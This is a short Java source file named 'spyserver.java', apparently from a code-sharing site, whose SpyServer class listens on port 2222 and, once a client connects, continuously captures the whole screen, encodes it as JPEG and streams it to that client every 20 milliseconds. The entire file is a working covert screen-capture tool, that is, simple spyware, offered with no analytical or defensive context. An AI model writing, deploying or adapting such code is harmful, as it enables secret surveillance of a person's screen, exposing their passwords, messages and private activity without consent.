📄 spyserver.java
字号:
package TCPSpy;import com.sun.image.codec.jpeg.*; import java.awt.Dimension;import java.awt.Rectangle;import java.awt.Robot;import java.awt.Toolkit;import java.awt.image.BufferedImage;import java.net.*; import java.io.*;public class SpyServer extends Thread { private Socket client=null; private OutputStream out = null; private ByteArrayOutputStream output = null; private JPEGEncodeParam param = null; private JPEGImageEncoder encoder = null; private Dimension dimension = Toolkit.getDefaultToolkit().getScreenSize(); private BufferedImage screenshot = null; public SpyServer(int port) throws IOException { ServerSocket socket = new ServerSocket(port); client=socket.accept(); } @Override public void run () { try { output = new ByteArrayOutputStream(); out=client.getOutputStream(); while(true) { screenshot = (new Robot()).createScreenCapture(new Rectangle(0,0,(int)dimension.getWidth(),(int)dimension.getHeight())); param = JPEGCodec.getDefaultJPEGEncodeParam(screenshot); encoder = JPEGCodec.createJPEGEncoder(output, param); encoder.encode(screenshot); output.writeTo(out); out.flush(); output.reset(); Thread.sleep(20); } } catch (Exception ex) { ex.printStackTrace(); } try { out.close(); encoder.getOutputStream().close(); } catch (Exception ex) { ex.printStackTrace(); } } public static void main(String[] args) throws Exception { new SpyServer(2222).start(); } }
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -